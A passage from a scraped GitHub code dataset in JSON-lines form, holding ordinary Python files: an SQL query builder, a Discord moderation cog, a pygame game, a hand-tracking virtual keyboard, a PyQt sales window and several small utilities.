train_gs, model, saver, sess):\n assert (hasattr(model, 'node_embeddings'))\n if not hasattr(model, 'graph_embeddings'):\n return None, None\n all_gs = train_gs + test_gs\n node_embs_list = []\n graph_embs_mat = np.zeros((len(all_gs), model.embed_dim))\n emb_time_list = []\n for i, g in enumerate(all_gs):\n feed_dict = model.get_feed_dict_for_val_test(g, g, 1.0)\n rtn, t = run_tf(\n feed_dict, model, saver, sess, 'test_emb')\n t *= 1000\n emb_time_list.append(t)\n node_embs, graph_embs = rtn\n assert (len(node_embs) == 2 and len(graph_embs) == 2)\n node_embs_list.append(node_embs[0])\n graph_embs_mat[i] = graph_embs[0]\n emb_time = np.mean(emb_time_list)\n print('graph embedding {:.5f}'.format(emb_time))\n print(graph_embs_mat[0])\n return node_embs_list, graph_embs_mat, emb_time\n\n\ndef collect_attentions(test_gs, train_gs, model, saver, sess):\n if not hasattr(model, 'attentions'):\n return None\n all_gs = train_gs + test_gs\n rtn = []\n for i, g in enumerate(all_gs):\n feed_dict = model.get_feed_dict_for_val_test(g, g, 1.0)\n atts, _ = run_tf(\n feed_dict, model, saver, sess, 'test_att')\n assert (atts.shape[1] == 1)\n rtn.append(atts)\n print('attention')\n print(rtn[0])\n return rtn\n\n\ndef pretty_print_dict(d, indent=0):\n for key, value in sorted(d.items()):\n print('\\t' * indent + str(key))\n if isinstance(value, dict):\n pretty_print_dict(value, indent + 1)\n else:\n print('\\t' * (indent + 1) + str(value))\n","repo_name":"yunshengb/SimGNN","sub_path":"model/Siamese/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":7308,"program_lang":"python","lang":"en","doc_type":"code","stars":128,"dataset":"github-code","pt":"67"} +{"seq_id":"14825417447","text":"\"\"\"\nBase logic of query\n\n\"\"\"\nPLAYS_QUERY_COLUMNS_NAMES = [\n \"playid\",\n \"pid\",\n \"gid\",\n \"description\",\n \"ptype\",\n \"url\",\n \"tid\",\n \"hscore\",\n \"ascore\",\n \"ptime\",\n \"quarter\",\n \"matchupstr\",\n \"gtype\",\n \"date\",\n \"sznstr\",\n \"row_number\",\n \"wl\",\n \"mid\",\n]\n\n# Create view tags\nCREATE_VIEW = \"\"\"\nCREATE VIEW {} AS\n\"\"\"\nDROP_VIEW = \"\"\"\nDROP VIEW {}\n\"\"\"\n\nBASE_QUERY = \"\"\"\nselect distinct \n p1.*, \n m.matchupstr,\n m.gtype,\n m.date,\n m.sznstr,\n ROW_NUMBER () OVER (ORDER BY p1.pid) AS row_number,\n case\n when m.atid = p1.tid then m.\"HWL\"\n when m.htid = p1.tid then m.\"AWL\"\n end as wl,\n case\n when m.atid = p1.tid then m.htid\n when m.htid = p1.tid then m.atid\n end as mid\nfrom plays p1\njoin teams t on \n t.tid=p1.tid\njoin matchups m on\n\"\"\"\n\n\"\"\"\nMATCHUPS\n\nDEFAULT - Just joins every game from plays found\nVERSUS - Only joins on games versus opponent team id\n\"\"\"\nDEFAULT_MATCHUPS_JOIN = \"\"\"\np1.gid = m.gid\n\"\"\"\nMATCHUPS_VERSUS_OPTIONS_SQL = \"\"\"\n case \n when m.htid = t.tid then m.atid={}\n when m.atid = t.tid then m.htid={}\n end\n\"\"\"\n\n\"\"\"\nDEFAULT START OF WHERE CAUSE\n\nAlways comes before and clauses below\nBase options - plays from player and games from plays\n\"\"\"\nBASE_OPTIONS_SQL = \"\"\"\nwhere p1.pid={} and p1.gid=m.gid\n\"\"\"\n\n\"\"\"\nAND clauses\n\nQuarter - only plays from certain quarter \nStat type - only plays of stat type \"FGM\", \"BLK\", \"DUNK\", \"STL\", \"AST'\nGID - only plays from certain game\nTeamid - only plays while player is on teamid team\nGTYPE - Regular Season = 0, Playoffs = 1\n\"\"\"\nQUARTER_OPTIONS_SQL = \"\"\"\nand p1.quarter={}\n\"\"\"\n\nSTAT_TYPE_OPTIONS_SQL = \"\"\"\nand p1.ptype='{}'\n\"\"\"\n\nGID_OPTIONS_SQL = \"\"\"\nand p1.gid={}\n\"\"\"\n\nTEAMID_OPTIONS_SQL = \"\"\"\nand p1.tid={}\n\"\"\"\n\nGTYPE_OPTIONS_SQL = \"\"\"\nand m.gtype={}\n\"\"\"\n\nSEASON_OPTIONS_SQL = \"\"\"\nand m.sznstr='{}'\n\"\"\"\n\nHOME_OPTIONS_SQL = \"\"\"\nand m.htid = p1.tid\n\"\"\"\n\nAWAY_OPTIONS_SQL = \"\"\"\nand m.atid = p1.tid\n\"\"\"\n\nWIN_LOSE_OPTIONS_SQL = \"\"\"\nand wl='{}'\n\"\"\"\n\n\n\"\"\"\nExtra utils\n\nLimit - Games returned\nGroup by ??\nEtc.\n\"\"\"\nLIMIT_OPTIONS_SQL = \"\"\"\nlimit {}\n\"\"\"\n\n\n\"\"\"\n\n\"\"\"\n# POSSIBLE SCENARS\n\n\"\"\"\n------------------------------------------\n- All plays from player\n ops:\n (stat-type)\n (quarter)\n\n- All plays from player in season \n ops: \n (stat-type) \n (quarter)\n\n- All plays from player in game \n opts: \n (gid) \n (stat-type) \n (quarter) \n\n-----------------------------------------\n- All play from player vs matchup \n opts: \n (mtid)\n (stat-type) \n (quarter)\n\nBASE_QUERY = \nselect distinct p1.*, p2.fname, p2.lname from plays p1\nleft join players p2 on p1.pid=p2.pid\njoin teams t on t.tid=p1.tid\n\nMATCHUPS =\njoin matchups m on\n case \n when m.htid = t.tid then m.atid={}\n when m.atid = t.tid then m.htid={}\n end\n\nOPTS_BASE =\nwhere p1.pid={}\n\nOPTS_QUARTER=\nAND p1.quarter={}\n\nOPTS_LIMIT=\nlimit 1000\n\nOPTS_STAT_TYPE=\nAND p1.ptype={}\n\nOPTS_SINGLE_GAME=\nAND p1.gid={}\n\n\n\"\"\"\n","repo_name":"sjdefran1/ccpsql","sub_path":"ccpsqltest/querybuilder/playSql.py","file_name":"playSql.py","file_ext":"py","file_size_in_byte":3023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72090751892","text":"import discord\nfrom discord.ext import commands\n\nfrom scripts.parsers.settings import settings\nfrom scripts.transforms import TransformScripts\nfrom core.discord_requests import DiscordRequest\nfrom core.logger import logger\nfrom core.embeds import Errors, Helpers\n\nclass UnTimeout(commands.Cog):\n \"\"\"Выдача таймаута пользователю\"\"\"\n\n def __init__(self, bot):\n self.bot = bot\n\n def untimeout_help(self, prefix, emb: discord.Embed):\n return emb.add_field(name = f'{prefix}антаймаут', value = 'Убрать таймаут пользователю', inline = False)\n\n async def untimeout_helper(self, ctx):\n emb = await Helpers.default_embed(self, ctx, self.bot.user.avatar_url, 'Таймаут')\n emb.add_field(name = 'Использование', value = f'`{settings[\"prefix\"]}антаймаут <упоминание пользователя> [причина]`\\n┗ Уберёт таймаут пользователю.', inline = False)\n emb.add_field(name = 'Пример', value = f'`{settings[\"prefix\"]}антаймаут @Toil`\\n┗ Уберет таймаут пользователю Toil', inline = False)\n await ctx.send(embed = emb)\n logger.info(f'Выведена информация о \"Антаймаут\" — Запросил пользователь: {ctx.author} ({ctx.author.id}).')\n\n @commands.command(aliases = [\n 'untimeout', 'unmute',\n 'антаймаут', 'анмут', 'анмьют'\n ])\n @commands.has_permissions(administrator = True)\n async def untimeout_command(self, ctx: commands.Context, member: discord.Member, *, reason: str = 'Не задана'):\n \"\"\"Антаймаут\n\n Args:\n ctx (commands.Context)\n member (discord.Member): Упоминание пользователя\n reason (str, optional): Причина. По умолчнию - 'Не задана'\n\n Returns:\n reaction: ✅\n reaction: ❌\n \"\"\"\n if member:\n if reason == 'Не задана':\n result = await DiscordRequest.user_timeout(member.id, ctx.guild.id, None)\n else:\n result = await DiscordRequest.user_timeout(member.id, ctx.guild.id, None, reason)\n if result is True:\n logger.info(f'Убран таймаут у пользователя {member.name}#{member.discriminator} (id: {member.id}) с причиной {reason} — Запросил пользователь: {ctx.author} ({ctx.author.id}).')\n return await ctx.message.add_reaction('✅')\n logger.info(f'Не удалось убрать таймаут пользователю {member.name}#{member.discriminator} (id: {member.id}) по неизвестной причине — Запросил пользователь: {ctx.author} ({ctx.author.id}).')\n return await ctx.message.add_reaction('❌')\n else:\n pass\n\n @untimeout_command.error\n async def untimeout_command_error(self, ctx, error):\n if isinstance(error, commands.errors.MemberNotFound):\n await Errors.custom_msg_embed(self, ctx, 'Пользователь не найден')\n logger.error(f'Не удалось убрать таймаут - Причина: {error} — Запросил пользователь: {ctx.author} ({ctx.author.id}).')\n elif isinstance(error, commands.errors.BadArgument):\n await self.timeout_helper(ctx)\n logger.error(f'Не удалось убрать таймаут - Причина: {error} — Запросил пользователь: {ctx.author} ({ctx.author.id}).')\n else:\n await Errors.custom_msg_embed(self, ctx, error)\n logger.error(f'Не удалось убрать таймаут - Причина: {error} — Запросил пользователь: {ctx.author} ({ctx.author.id}).')\n\ndef setup(bot):\n bot.add_cog(UnTimeout(bot))","repo_name":"ilyhalight/Aki-DiscordBot","sub_path":"Aki-DiscordBot/cogs/untimeout.py","file_name":"untimeout.py","file_ext":"py","file_size_in_byte":4119,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"37181203209","text":"import pickle\nimport tools.utils as utils\n\nclass settings_printer:\n def __init__(self, s):\n if type(s) not in [str, dict]:\n raise Exception(\"give me a file or a dict!\")\n if type(s) is not dict:\n s = self.load_file(s)\n self.settings = utils.parse_settings(s)\n self.title = s[\"run-id\"] if \"run-id\" in s else \"unknown\"\n def load_file(self,s):\n with open(s, 'rb') as f:\n settings = pickle.load(f)\n return utils.parse_settings(settings)\n def _print(self):\n print(\"--- {} settings---\".format(self.title))\n for key in sorted(self.settings.keys()):\n print(\"\\t{}\".format(key).ljust(35),self.settings[key])\n def format(self):\n ret = \"\"\n for key in sorted(self.settings.keys()):\n ret += f\"\\n\\t{key.ljust(35)}{self.settings[key]}\"\n return ret\n def compare(self, x):\n if type(x) not in [settings_printer, dict]:\n raise Exception(\"give me a settings_printer or a dict!\")\n other = x.settings if type(x) is settings_printer else x\n for key in list(self.settings.keys())+list(other.keys()):\n if key in self.settings and key in other:\n if self.settings[key] == other[key]:\n continue\n print(\"---\", key, \"---\")\n for candidate in [self.settings, other]:\n if key in candidate:\n print(\"\\t{}\".format(candidate[\"run-id\"]).ljust(20),candidate[key])\n","repo_name":"mightypirate1/DRL-Tetris","sub_path":"tools/settings_printer.py","file_name":"settings_printer.py","file_ext":"py","file_size_in_byte":1503,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"39120722801","text":"import asyncio\nfrom asyncio import StreamReader, StreamWriter\n\n\nasync def process(reader: StreamReader, writer: StreamWriter) -> None:\n addr = writer.get_extra_info(\"peername\")\n print(f\"Requested from {addr}\")\n\n payload = \"Hello World!\"\n\n writer.write(\n \"\\n\".join(\n [\n f\"HTTP/1.1 200 OK\",\n f\"Content-Length: {len(payload)}\",\n f\"Content-Type: text/plain; charset=utf-8\",\n f\"\",\n payload,\n f\"\",\n ]\n ).encode(\"utf-8\")\n )\n await writer.drain()\n writer.close()\n\n\nasync def main() -> None:\n server = await asyncio.start_server(process, \"127.0.0.1\", 8080)\n\n addrs = \", \".join(str(sock.getsockname()) for sock in server.sockets)\n print(f\"Listening on {addrs}\")\n\n async with server:\n await server.serve_forever()\n\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n","repo_name":"binp-dev/network-course","sub_path":"examples/http-server/0-min-tcp/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"43590222358","text":"def min_insertions(string):\n string1 = string\n string2 = string[::-1]\n\n m = len(string1)\n n = len(string2) # Reversed string\n\n t = []\n for i in range(m + 1):\n t.append([0 for _ in range(n + 1)])\n\n for i in range(1, m + 1):\n for j in range(1, n + 1):\n if string1[i - 1] == string2[j - 1]:\n t[i][j] = 1 + t[i - 1][j - 1]\n else:\n t[i][j] = max(t[i][j - 1], t[i - 1][j])\n\n return len(string) - t[-1][-1]\n\n\nprint(min_insertions(\"aebcbda\"))","repo_name":"gunjanmodi/algorithms","sub_path":"algorithms/dynamic_programming/minimum_insertion_to_make_string_palindrome.py","file_name":"minimum_insertion_to_make_string_palindrome.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"43426011316","text":"import pygame as pg\nimport sys\nimport os\nimport math\n\n\nstartFlag = False #ボールが停止しているかの判定\nflag = False #連続で敵キャラに当たらないよう���する\n\n\nclass Screen:\n #スクリーンの描画\n def __init__(self, title, wh, img_path):\n pg.display.set_caption(title) \n self.sfc = pg.display.set_mode(wh)\n self.rct = self.sfc.get_rect()\n self.bgi_sfc = pg.image.load(img_path)\n self.bgi_rct = self.bgi_sfc.get_rect() \n\n def blit(self):\n self.sfc.blit(self.bgi_sfc, self.bgi_rct)\n \n \ndef check_bound(obj_rct, scr_rct):\n \"\"\"\n 第1引数:マイrect\n 第2引数:スクリーンrect\n 範囲内:+1/範囲外:-1\n 壁との当たり判定\n \"\"\"\n yoko, tate = +1, +1\n if obj_rct.left < scr_rct.left or scr_rct.right < obj_rct.right:\n yoko = -1\n if obj_rct.top < scr_rct.top or scr_rct.bottom < obj_rct.bottom:\n tate = -1\n return yoko, tate \n\n#土生\ndef check_bound_enemy(obj_rct, enm_rct):\n \"\"\"\n 第1引数:マイrect\n 第2引数:エネミーrect\n 範囲内:+1/範囲外:-1\n \"\"\"\n yoko, tate = +1, +1\n if obj_rct.left < enm_rct.left or enm_rct.right < obj_rct.right:\n yoko = -1\n if obj_rct.top < enm_rct.top or enm_rct.bottom < obj_rct.bottom:\n tate = -1\n return yoko, tate \n\n\nclass Enemy:\n #敵キャラの描画\n def __init__(self, img_path, ratio, xy, hp):\n self.sfc = pg.image.load(img_path)\n self.sfc = pg.transform.rotozoom(self.sfc, 0, ratio)\n self.rct = self.sfc.get_rect()\n self.rct.center = xy\n self.hp = hp #ヒットポイント\n\n def blit(self, scr:Screen):\n scr.sfc.blit(self.sfc, self.rct)\n \n def hit(self):\n #ボールが当たった時ヒットポイントを-1する\n self.hp -= 1\n \n def return_hp(self):\n #ヒットポイントを返す\n return self.hp\n\n\n#遠藤\nclass HealthBar: #HPバーの作成\n max_hp = 5 #敵キャラのHP\n def __init__(self,img_path, hxy):\n self.sfcs = [pg.image.load(img_path) for i in range(self.max_hp)]\n self.rcts = [self.sfcs[j].get_rect() for j in range(self.max_hp)]\n for x in range(self.max_hp): #敵キャラのHP分繰り返す\n if x == 0: #バーの描画が1回目であれば\n self.rcts[x].center = hxy\n else: #バーの描画が2回目以降であれば\n self.rcts[x].centerx = self.rcts[x -1].centerx + self.rcts[x -1].width #一個前の座標の中央のx値と横幅を加算する\n self.rcts[x].centery = self.rcts[x - 1].centery #立幅は変更しないためcenteyの値は1個前の値をそのまま使用\n\n\n def blit(self, scr:Screen):\n for z in range(self.max_hp):\n scr.sfc.blit(self.sfcs[z], self.rcts[z])\n\n def update(self, scr:Screen):\n for y in range(self.max_hp): #敵キャラの現在のHP分繰り返す\n self.blit(scr)\n\n\nclass My:\n def __init__(self, color, rad, vxy, scr:Screen):\n self.sfc = pg.Surface((2*rad, 2*rad)) # 正方形の空のSurface\n self.sfc.set_colorkey((0, 0, 0))\n pg.draw.circle(self.sfc, color, (rad, rad), rad)\n self.rct = self.sfc.get_rect()\n self.rct.centerx = 700 #スタート位置\n self.rct.centery = 700 #スタート位置\n self.vx, self.vy = vxy\n self.dx = 0.996\n self.dy = self.dx * (900/1600) #減速率に画面の縦横比を考慮する\n \n def set_vxy(self, xy): #発射角度を設定\n self.vx, self.vy = xy\n \n def return_xy(self): #ボールの座標を返す\n return (self.rct.centerx, self.rct.centery)\n \n def blit(self, scr:Screen):\n scr.sfc.blit(self.sfc, self.rct)\n \n def update(self, scr:Screen, speed):\n #國井\n global startFlag\n if speed: #ボールが止まっていなかったら\n self.rct.move_ip(self.vx, self.vy)\n yoko, tate = check_bound(self.rct, scr.rct)\n if abs(self.vx) >= abs(self.dx):\n #減速させる\n self.vx*=self.dx\n self.vy*=self.dx\n else:\n startFlag = False\n self.vx *= yoko\n self.vy *= tate\n self.blit(scr)\n \n def update2(self, enm:Enemy, speed):\n global startFlag\n if speed:\n self.rct.move_ip(self.vx, self.vy)\n yoko, tate = check_bound(self.rct, enm.rct)\n if abs(self.vx) >= abs(self.dx):\n self.vx *= self.dx\n self.vy *= self.dy\n else:\n startFlag = False\n self.vx *= yoko\n self.vy *= tate\n self.dx *= yoko\n self.dy *= tate\n \n self.blit(enm)\n \n\n#中島 \ndef delection(mouse, my): #発射角度の設定\n dx = abs(mouse[0]-my[0]) #x座標の差\n dy = abs(mouse[1]-my[1]) #y座標の差\n res = dx^2 + dy^2 #斜めの距離\n res = math.sqrt(res) \n x = dx/res #比率を求める\n y = dy/res #比率を求める\n if mouse[0] <= my[0]:#マウス座標がボールより小さいとき\n x *= -1 \n if mouse[1] <= my[1]:#マウス座標がボールより小さいとき\n y *= -1\n return (x, y)\n\n#三上\n# 音楽\nmain_dir = os.path.split(os.path.abspath(__file__))[0]\ndef music():\n if pg.mixer:\n music = os.path.join(main_dir, \"../fig\", \"monst_bgm.wav\")\n pg.mixer.music.load(music)\n pg.mixer.music.play(-1)\n\n#三上\n# ゲームクリアの処理\ndef game_clear():\n #ゲームクリア時に画像を出力する処理\n pg.display.set_caption(\"こうかとん、撃破。\")\n scrn_sfc = pg.display.set_mode((1600, 900))\n scrn_rct = scrn_sfc.get_rect()\n img_sfc = pg.image.load(\"fig/game_clear.jpg\")\n img_sfc = pg.transform.scale(img_sfc, (1600, 900))\n img_rct = img_sfc.get_rect()\n scrn_sfc.blit(img_sfc, img_rct)\n pg.display.update()\n pg.time.wait(2000)\n\n\ndef main():\n global startFlag, flag\n start_x = 10\n start_y = 10\n\n scr = Screen(\"モンスタ\", (1600,900), \"fig/pg_bg.jpg\") # Screenオブジェクトのインスタンス生成\n clock = pg.time.Clock()\n kkt = Enemy(\"fig/6.png\", 2.0, (900,400), 5) # Enemyオブジェクトのインスタンス生成\n kkt.blit(scr)\n my = My((255,0,0), 25, (start_x, start_y), scr) #Myオブジェクトのインスタンス生成\n my.blit(scr)\n hpbar = HealthBar(\"game/hp_bar.png\", (100, 10)) #HPbarオブジェクトのインスタンス生成\n hpbar.blit(scr)\n \n # 音楽関数の実行\n music()\n\n while True:\n scr.blit()\n for event in pg.event.get():\n if event.type == pg.QUIT:\n #×ボタンでゲーム終了\n return\n \n if event.type == pg.MOUSEBUTTONDOWN and startFlag == False:\n mouse = pg.mouse.get_pos()#マウス座標の取得\n my_xy = my.return_xy()\n delection_xy = delection(mouse, my_xy)\n my.set_vxy(delection_xy)\n startFlag = True\n \n kkt.blit(scr)\n \n if startFlag:\n my.update(scr, True)\n else:\n my.update(scr, False)\n \n if kkt.rct.colliderect(my.rct) and not flag:\n kkt.hit()#hpを減らす\n HealthBar.max_hp -= 1\n if startFlag:\n my.update2(kkt, True)\n else:\n my.update2(kkt, False)\n flag = True\n \n if not kkt.rct.colliderect(my.rct):\n #flagをfalseに戻す\n flag = False\n\n if kkt.return_hp() > 0: #敵キャラのHPが0より大きければ\n hpbar.update(scr) #HPバーの更新\n\n else:\n #hpが0になったらゲームを終了する\n game_clear()\n return\n \n pg.display.update()\n clock.tick(1000) \n \nif __name__ == '__main__':\n pg.init()\n main()\n pg.quit()\n sys.exit()","repo_name":"c0a2109372/ProjExD","sub_path":"game/mons.py","file_name":"mons.py","file_ext":"py","file_size_in_byte":8154,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"70502431254","text":"import cv2\nfrom cvzone.HandTrackingModule import HandDetector\nfrom time import sleep\nimport numpy as np\nimport cvzone\nfrom pynput.keyboard import Controller\n\n\ncap = cv2.VideoCapture(0)\ncap.set(3, 1280)\ncap.set(4, 720)\n\ndetector = HandDetector(detectionCon=.8, maxHands=2)\n\nkeys = [[\"Q\",\"W\",\"E\",\"R\",\"T\",\"Y\",\"U\",\"I\",\"O\",\"P\"],\n [\"A\",\"S\",\"D\",\"F\",\"G\",\"H\",\"J\",\"K\",\"L\",\";\"],\n [\"Z\",\"X\",\"C\",\"V\",\"B\",\"N\",\"M\",\",\",\".\",\"/\", \" \"]]\nfinalText = \"\"\n\nkeyboard = Controller()\n\ndef drawAll(img, buttonList):\n for button in buttonList:\n x, y = button.pos\n w, h = button.size\n cvzone.cornerRect(img, (button.pos[0], button.pos[1],\n button.size[0],button.size[0]), 20 ,rt=0)\n cv2.rectangle(img, button.pos, (x+w, y+h), (255,144,30), cv2.FILLED)\n cv2.putText(img, button.text, (x+20, y+80), \n cv2.FONT_HERSHEY_PLAIN, 4, (0, 0, 0), 4)\n return img\n\n\nclass Button():\n def __init__(self, pos, text, size=[80,80]):\n self.pos = pos\n self.size = size\n self.text = text\n\nbuttonList = []\n\nfor i in range(len(keys)):\n for j, key in enumerate(keys[i]):\n buttonList.append(Button([100*j+50, 100*i+50], key))\n \n\nwhile True:\n success, img = cap.read()\n img = cv2.flip(img, 1)\n hands, img = detector.findHands(img)\n img = drawAll(img, buttonList)\n\n if hands:\n hand1 = hands[0]\n lmList1 = hand1[\"lmList\"] # list of 21 landmarks\n bbox1 = hand1[\"bbox\"] # bounding box info x,y,w,h\n\n if len(hands) == 2:\n # Hand 2\n hand2 = hands[1]\n lmList2 = hand2[\"lmList\"] # List of 21 Landmark points\n bbox2 = hand2[\"bbox\"] # Bounding box info x,y,w,h\n centerPoint2 = hand2['center'] # center of the hand cx,cy\n handType2 = hand2[\"type\"] # Hand Type \"Left\" or \"Right\"\n\n fingers2 = detector.fingersUp(hand2)\n\n\n for button in buttonList:\n x, y = button.pos\n w, h = button.size\n\n if x < lmList1[8][0] < x+w and y < lmList1[8][1] < y+h:\n cv2.rectangle(img, button.pos, (x+w, y+h), (175,0,175), cv2.FILLED)\n cv2.putText(img, button.text, (x+20,y+65), \n cv2.FONT_HERSHEY_PLAIN, 4, (255, 255, 255), 4)\n \n l, _, _ = detector.findDistance(lmList1[8], lmList1[4], img)\n print(l)\n\n if l<30:\n #keyboard.press(button.text)\n cv2.rectangle(img, button.pos, (x+w, y+h), (0,255,0), cv2.FILLED)\n cv2.putText(img, button.text, (x+20,y+65), cv2.FONT_HERSHEY_PLAIN, 4, (255, 255, 255), 4)\n finalText += button.text\n sleep(0.53)\n \n cv2.rectangle(img, (50, 350), (700, 450), (175,0,175), cv2.FILLED)\n cv2.putText(img, finalText, (60, 425), \n cv2.FONT_HERSHEY_PLAIN, 5, (255, 255, 255), 5)\n\n cv2.imshow(\"keyboard\", img)\n if cv2.waitKey(10) & 0xFF == ord('q'):\n break\n\n\ncap.release()\ncv2.destroyAllWindows()\n","repo_name":"ayyucedemirbas/machine_learning_algorithms","sub_path":"vision/virtual_keyboard.py","file_name":"virtual_keyboard.py","file_ext":"py","file_size_in_byte":3156,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"67"} +{"seq_id":"26035820360","text":"# Write for loops to produce the following output:\n# *****\n# *****\n# *****\n# *****\nwidth = int(input(\"Width of Rectangle: \"))\nheight = int(input(\"Height of Rectangle: \"))\nfor _ in range(height):\n for __ in range(width):\n print(\"*\", end=\"\") \n print(\"\")","repo_name":"bibhushanSharma/learning_python","sub_path":"star_rectangle.py","file_name":"star_rectangle.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"11254716969","text":"import sys , os\r\nfrom PyQt5.QtWidgets import *\r\nfrom PyQt5.QtGui import *\r\nfrom PyQt5.QtCore import Qt\r\nimport sqlite3 as sql\r\nfrom PIL import Image\r\n\r\n\r\n\r\ncon = sql.connect('Products.db')\r\ncur = con.cursor()\r\n\r\ndefault_img = 'Pics/alarm.png'\r\n\r\nclass ConfirmWindow(QWidget):\r\n def __init__(self,product_name,product_id, member_name, member_id,quantity):\r\n super().__init__()\r\n self.setWindowTitle('Sell Product')\r\n self.setWindowIcon(QIcon('Pics/alarm.png'))\r\n self.setGeometry(200,100,320,420)\r\n self.setFixedSize(self.size())\r\n self.product_name_sell = product_name\r\n self.product_id_sell = product_id\r\n self.member_name_sell = member_name\r\n self.member_id_sell = member_id\r\n self.quantity_sell = quantity\r\n self.UI()\r\n self.show()\r\n \r\n def UI(self):\r\n \r\n self.widgets()\r\n self.layouts()\r\n \r\n \r\n def widgets(self):\r\n # widgets of top layout\r\n self.sell_product_img = QLabel()\r\n self.img = QPixmap('Pics/icons8-sell-100 (1).png')\r\n self.sell_product_img.setPixmap(self.img)\r\n self.sell_product_img.setAlignment(Qt.AlignmentFlag.AlignCenter)\r\n self.title_text = QLabel('Sell Product')\r\n self.title_text.setAlignment(Qt.AlignmentFlag.AlignCenter)\r\n \r\n # widgets of botoom layout\r\n self.product_name = QLabel()\r\n self.product_name.setText(self.product_name_sell)\r\n self.member_name = QLabel()\r\n self.member_name.setText(self.member_name_sell)\r\n \r\n price = cur.execute(\"SELECT product_price FROM products WHERE product_id=?\",(self.product_id_sell,)).fetchone()\r\n self.amount = self.quantity_sell * price[0]\r\n self.amount_label = QLabel()\r\n self.amount_label.setText(f'{price[0]} * {self.quantity_sell} = {self.amount}')\r\n \r\n \r\n self.confirm_btn = QPushButton('Confirm')\r\n self.confirm_btn.clicked.connect(self.funcConfirm)\r\n \r\n price = cur.execute(\"SELECT product_price FROM products WHERE product_id=?\",(self.product_id_sell,)).fetchone()\r\n self.amount = self.quantity_sell * price[0]\r\n \r\n\r\n self.title_text.setStyleSheet(\"\"\"\r\n QLabel {\r\n font-size: 20px;\r\n font-weight: bold;\r\n # border-radius: 5px;\r\n }\r\n \"\"\")\r\n\r\n self.member_name.setStyleSheet(\"\"\"\r\n QLineEdit {\r\n border: 1px solid gray;\r\n padding: 5px;\r\n border-radius: 5px;\r\n }\r\n \"\"\")\r\n\r\n self.product_name.setStyleSheet(\"\"\"\r\n QLineEdit {\r\n border: 1px solid gray;\r\n padding: 5px;\r\n border-radius: 5px;\r\n }\r\n \"\"\")\r\n \r\n \r\n\r\n # Add styles to the rest of the widgets\r\n\r\n # ...\r\n\r\n\r\n\r\n self.confirm_btn.setStyleSheet(\"\"\"\r\n QPushButton {\r\n background-color: #008CBA;\r\n color: white;\r\n padding: 8px 16px;\r\n border: none;\r\n cursor: pointer;\r\n border-radius: 5px;\r\n }\r\n QPushButton:hover {\r\n background-color: #007a9e;\r\n }\r\n \"\"\")\r\n\r\n \r\n \r\n \r\n def layouts(self):\r\n self.main_layout = QVBoxLayout()\r\n self.top_layout = QVBoxLayout()\r\n self.bottom_layout = QFormLayout()\r\n self.top_frame = QFrame()\r\n self.bottom_frame = QFrame() \r\n \r\n ## add widgets\r\n # widgets of top layout\r\n self.top_layout.addWidget(self.title_text)\r\n self.top_layout.addWidget(self.sell_product_img)\r\n self.top_frame.setLayout(self.top_layout)\r\n \r\n # widgets of form layout\r\n self.bottom_layout.addRow(QLabel('Product:'),self.product_name)\r\n self.bottom_layout.addRow(QLabel('Member:'),self.member_name)\r\n self.bottom_layout.addRow(QLabel('Amount:'),self.amount_label)\r\n self.bottom_layout.addRow(QLabel(''),self.confirm_btn)\r\n self.bottom_frame.setLayout(self.bottom_layout)\r\n \r\n self.main_layout.addWidget(self.top_frame)\r\n self.main_layout.addWidget(self.bottom_frame)\r\n self.setLayout(self.main_layout)\r\n \r\n def funcConfirm(self):\r\n try:\r\n sell_query = \" INSERT INTO 'sellings' (selling_member_id, selling_product_id, selling_quantity, selling_amount) VALUES (?,?,?,?) \"\r\n cur.execute(sell_query,(self.member_id_sell,self.product_id_sell,self.quantity_sell,self.amount))\r\n self.qouta = cur.execute(\"SELECT product_qouta FROM products WHERE product_id=?\",(self.product_id_sell,)).fetchone()\r\n con.commit()\r\n # QMessageBox.information(self,'Info' , 'Product has been sold')\r\n \r\n \r\n if self.quantity_sell == self.qouta[0]:\r\n cur.execute(\"UPDATE products set product_qouta=?, product_availability=? WHERE product_id=?\",(0,'Unavailable',self.product_id_sell))\r\n con.commit()\r\n self.close()\r\n else :\r\n new_qouta = self.qouta[0] - self.quantity_sell\r\n cur.execute(\"UPDATE products set product_qouta=? WHERE product_id=?\",(new_qouta,self.product_id_sell))\r\n con.commit()\r\n self.close()\r\n \r\n QMessageBox.information(self,'Info' , 'Success')\r\n except:\r\n QMessageBox.information(self,'Info' , 'Something went wrong !!')\r\n ","repo_name":"AmirHosseinHM/Product-management","sub_path":"sell_product_update.py","file_name":"sell_product_update.py","file_ext":"py","file_size_in_byte":5707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"13677070042","text":"import numpy as np\nimport cv2\n\n\ndef get_gray_masked_img(img_bgr, threshold=127, save=False):\n img_gray = cv2.cvtColor(img_bgr, cv2.COLOR_BGR2GRAY) # グレースケール変換\n img_gray = cv2.GaussianBlur(img_gray, (9, 9), 3) # スムージング\n if save:\n cv2.imwrite('gray.jpg', img_gray)\n _, img_masked = cv2.threshold(img_gray, threshold, 255, cv2.THRESH_BINARY) # Hがthreshold以上のピクセルを255, それ以外を0に変換\n return img_masked\n\ndef get_hue_masked_img(img_bgr, threshold=127, save=False):\n img_HSV = cv2.cvtColor(img_bgr, cv2.COLOR_BGR2HSV) # HSV変換:「色相(Hue)」「彩度(Saturation)」「明度(Value・Brightness)」\n img_HSV = cv2.GaussianBlur(img_HSV, (9, 9), 3) # スムージング\n img_H, img_S, img_V = cv2.split(img_HSV) # HSV分離\n if save:\n 